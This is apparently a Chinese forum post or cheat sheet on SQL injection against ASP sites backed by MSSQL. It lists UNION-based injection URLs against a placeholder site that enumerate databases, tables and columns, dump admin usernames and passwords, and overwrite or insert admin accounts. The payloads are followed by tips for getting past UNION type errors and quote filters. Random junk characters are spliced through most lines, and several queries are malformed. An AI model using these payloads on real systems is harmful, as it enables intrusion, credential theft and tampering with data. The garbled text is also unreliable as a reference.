爆库:
" k& i: R$ y; x w" Chttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
0 P0 n4 e, g$ `) l" C$ ^3 |% sSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.* x2 K0 J: ^8 A. K
爆下一个库:
: w4 c! C8 e: \/ ?http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
0 \4 V. i! ^! \1 G5 A B8 ]8 D* l4 M+ I$ s5 `0 k7 N" D
爆表:
6 o0 q+ J0 F$ g+ j9 |http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
: F; r. w# p8 D) X
4 ?' N5 h5 A' ^( ~SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.( V' F- T4 \" G( w+ ^ G2 S% C
$ S! m# T! |0 @) v3 S1 W8 a
爆下一个表0 G" y% Q8 ?2 W6 O" ~4 f
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--/ s! Y* _8 l4 d0 \* e4 E2 R
0 s6 K8 O4 X6 E$ n# G
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--8 I3 k' F1 D: d: b2 t7 ?: [- J) J
; F- I9 C% h* E: g' a/ f/ Z
! g/ v, I+ D6 H* n9 \- K
- k r; Q* d P0 Z6 u爆字段:9 I9 R) |0 }4 Z: x' u
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
3 `+ {/ F3 i4 T( B& q- |8 @
$ \1 q0 p7 _9 E! }; b爆下一个字段9 R" @' F9 T! G5 A* t& J6 E
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--) E; `3 ^* ~9 b8 t7 J# @
4 ?0 S E9 a. C; }, G. [# o- Y; j
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
, ^4 N) u# r+ a4 I
4 _) Z# z- s5 [, x$ a% u8 y+ @) d) ~+ E' j: F
爆字段里的内容
: _0 m2 P5 x2 h# T* l$ T ]- r/ ?http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--( l% |& y4 m/ Y. |9 g
7 c* S. m% M9 v
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
# [% d- a V! c' ?5 M0 Q3 R
7 x. K$ u( ~4 g! ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
1 p5 l; s; o( ~# L
, `( ?# b) x8 ~6 W# |5 v8 U, Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
9 z5 T3 F8 l& S0 l/ o
( M. f2 T3 p# q更新字段里的内容0 G+ v: E0 p: M+ {# `. q8 s4 T
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--0 m9 \( e8 U& W. i
. g# n; N. f2 B0 s" c
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
* Y7 X5 C9 a) t( F$ | ]1 d
, G' Z7 q% _- X* [+ D4 a
4 Q. x' x, s5 r+ f' p1 x; K/ O
1 i& h- ^. u) n3 O$ I 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。; L$ Y8 R2 Z9 U& r' E
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。9 I& d3 S9 S- G. {
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
+ h, x$ @, j! p2 p3 {9 p 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
1 z! e& r x0 l+ p
+ d4 R K! x; p C突了了大部份限制的语句% a) {, E1 _. r+ C/ z. ~
and 1=2 union all select char(49),char(50),null,null;--( l+ l( K) y- y( a& r
) H7 s# E& L+ R2 |
/ }2 H4 o0 d# S, r
null也可以正常执行,不过没有回显,不好判断回显的列数。
" |$ M! Q5 l3 T; F/ r一般union遇到问题都是有text或者ntext字段,image的很少遇到/ @1 [* I$ F; Q {7 C. S9 Q
% m. ]: b5 {: e, k! ]) w! c: |: v
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
/ ?7 p" u$ H" O. z. s$ V% J& X* H$ H7 k u2 N6 ?
3 F% S; R5 i" w: Q( u8 H% D, p |